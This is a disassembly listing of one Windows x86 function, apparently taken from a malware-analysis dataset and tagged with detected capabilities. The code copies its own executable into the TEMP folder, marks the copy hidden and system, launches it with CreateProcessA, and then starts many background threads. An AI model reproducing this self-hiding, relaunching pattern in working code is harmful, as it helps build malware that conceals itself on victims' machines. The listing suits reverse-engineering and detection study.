Function at 0x408160
Capabilities:
Check if file exists
Create process on windows
Create thread
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x17c
mov eax, dword [0x440480]
xor eax, esp
mov dword [esp + 0x178], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
mov dword [esp + 0x1c], edi
call fcn.00420d8a
add esp, 4
push eax
call fcn.00420c56
add esp, 4
push 0x104
lea eax, [esp + 0x7c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x443b40], 0
jne 0x4081be
call fcn.00401040
mov byte [0x443b40], 1
mov ecx, dword [0x443b78]
mov eax, dword [ecx + 0x98]
push eax
lea eax, [esp + 0x7c]
call fcn.00404f70
add esp, 4
test al, al
je 0x4084fc
push str.TEMP
call fcn.00420d10
mov esi, eax
add esp, 4
push str..exe
mov eax, 0x10
mov dword [esp + 0x14], esi
call fcn.004021c0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x7c]
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408210
sub eax, edx
mov edi, eax
cmp byte [0x443b40], cl
jne 0x40822f
call fcn.00401040
mov byte [0x443b40], 1
mov edx, dword [0x443b78]
mov eax, dword [edx + 0x9c]
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408240
sub eax, edx
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408250
sub eax, edx
mov edx, eax
mov eax, dword [esp + 0x14]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408262
sub eax, esi
add eax, edx
add eax, ebx
lea eax, [eax + edi + 8]
push eax
call fcn.0041f974
add esp, 4
cmp byte [0x443b40], 0
mov ebx, eax
mov dword [esp + 0x1c], ebx
jne 0x408297
call fcn.00401040
mov byte [0x443b40], 1
mov ecx, dword [0x443b78]
mov edx, dword [ecx + 0x9c]
push edx
lea eax, [esp + 0x7c]
push eax
push str._s__s.exe
push ebx
call fcn.00420bc7
push 0x43cd88
push ebx
call fcn.004217a9
add esp, 0x18
test eax, eax
jne 0x4082eb
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4082f4
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push ecx
push edx
push 0x43c3b4
push ebx
call fcn.00420bc7
add esp, 0x10
jmp 0x4082f4
push eax
call fcn.004220cf
add esp, 4
cmp byte [0x443b40], 0
jne 0x408309
call fcn.00401040
mov byte [0x443b40], 1
mov ecx, dword [0x443b78]
mov ecx, dword [ecx + 0x98]
push 0
push ebx
lea eax, [esp + 0x80]
call fcn.00405240
add esp, 8
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
call fcn.00422173
add esp, 4
push 2
push eax
call fcn.00422207
mov ecx, ebx
add esp, 8
mov word [eax], 0x22
lea esi, [ecx + 1]
nop
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408350
sub ecx, esi
lea esi, [ecx + 1]
lea edx, [esi + 1]
push edx
push eax
call fcn.00422207
mov ecx, 1
add esp, 8
cmp esi, ecx
jle 0x40837e
mov dl, byte [ebx + ecx - 1]
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x408372
lea ecx, [esi + 3]
push ecx
push eax
mov byte [esi + eax], 0
call fcn.00422207
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x4083bf
mov edx, 0x43ccc4
sub edx, esi
mov dword [esp + 0x10], edx
jmp 0x4083b4
mov edx, dword [esp + 0x10]
mov dl, byte [edx + eax]
mov byte [eax + edi], dl
inc eax
cmp eax, ecx
jl 0x4083b0
mov eax, 1
mov esi, ecx
mov byte [esi + edi], 0
mov dword [esp + 0x10], eax
cmp dword [0x442d90], eax
jle 0x40849a
lea eax, [esi + 2]
push eax
push edi
call fcn.00422207
lea edi, [esi + 1]
add esp, 8
mov ecx, esi
cmp esi, edi
jge 0x408402
mov edx, 0x43c784
sub edx, esi
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, edi
jl 0x4083f7
mov ecx, dword [0x442d94]
mov edx, dword [esp + 0x10]
mov byte [edi + eax], 0
mov ebx, dword [ecx + edx*4]
mov ecx, ebx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x408418
sub ecx, esi
lea esi, [edi + ecx]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00422207
add esp, 8
mov ecx, edi
cmp edi, esi
jge 0x40844b
mov edx, ebx
sub edx, edi
jmp 0x408440
mov bl, byte [edx + ecx]
mov byte [ecx + eax], bl
inc ecx
cmp ecx, esi
jl 0x408440
lea edx, [esi + 3]
push edx
push eax
mov byte [esi + eax], 0
call fcn.00422207
lea ecx, [esi + 2]
add esp, 8
mov edi, eax
mov eax, esi
cmp esi, ecx
jge 0x40847b
mov edx, 0x43ccc4
sub edx, esi
mov edi, edi
mov bl, byte [edx + eax]
mov byte [eax + edi], bl
inc eax
cmp eax, ecx
jl 0x408470
mov eax, dword [esp + 0x10]
inc eax
mov esi, ecx
mov byte [esi + edi], 0
mov dword [esp + 0x10], eax
cmp eax, dword [0x442d90]
jl 0x4083da
mov ebx, dword [esp + 0x1c]
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00428cb0
add esp, 0xc
xor eax, eax
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
push edi
push eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x14]
push eax
call fcn.00420c4b
add esp, 4
push ebx
call fcn.00420c4b
add esp, 4
push edi
call fcn.00420f27
mov edi, dword [esp + 0x1c]
add esp, 4
call fcn.00407420
call fcn.00407330
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x407fb0
push 0
push 0
call esi
cmp byte [0x443b42], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
jne 0x40853d
lea esp, [esp]
push 0x32
call ebx
cmp byte [0x443b42], 0
je 0x408530
call fcn.00407b90
push 0
push 0
push 0
push 0x408640
push 0
push 0
call esi
call fcn.004063b0
push 0
push 0
push 0
push 0x406990
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406550
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406610
push 0
push 0
call esi
push 0
push 0
push 0
push 0x406c40
push 0
push 0
call esi
call fcn.00407e10
push 0
push 0
push 0
push 0x408870
push 0
push 0
call esi
push 0
push 0
push 0
push 0x408b60
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4099e0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409ad0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x409d80
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40a4b0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40acb0
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40bc40
push 0
push 0
call esi
push 0
push 0
push edi
push 0x40c620
push 0
push 0
call esi
push 0x493e0
call ebx
jmp 0x408634